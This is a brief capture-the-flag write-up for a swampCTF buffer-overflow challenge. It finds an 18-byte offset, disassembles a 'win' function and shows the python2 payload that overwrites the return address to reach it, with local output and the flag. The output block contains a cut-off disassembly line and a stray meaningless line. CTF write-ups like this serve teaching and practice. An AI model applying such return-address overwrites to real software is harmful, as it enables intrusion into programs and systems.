

Locally, run cyclic to the binary to find the offset.

The offset should be 18. Find the win function where the flag is.

```
pwndbg> disassemble win
Dump of assembler code for function win:
    0x0000000000401186 <+0>: push rbp
    0x0000000000401187 <+1>: mov rbp,rsp
    0x000000000040118a <+4>: sub rsp,0x30
    0x000000000040118e <+8>: mov QWORD PTR [rbp-0x30],
```

Craft the payload and test locally

```
[zeqzoq@zeqzoq)-[/mnt/c/Users/hzqzz/Downloads/swamp]
$ python2 -c 'print "A" * 18 + "\x86\x11\x40\x00\x00\x00\x00\x00"' > payload

[zeqzoq@zeqzoq)-[/mnt/c/Users/hzqzz/Downloads/swamp]
$ ./binary < payload

Hello, AAAAAAAAAAAAAAAAAAAAA

Win
Segmentation fault (core dumped)

**Tender of the core shade in the core
```

## Then pass to server

Flag: swampCTF{1t5\_t1m3\_t0\_r3turn!!}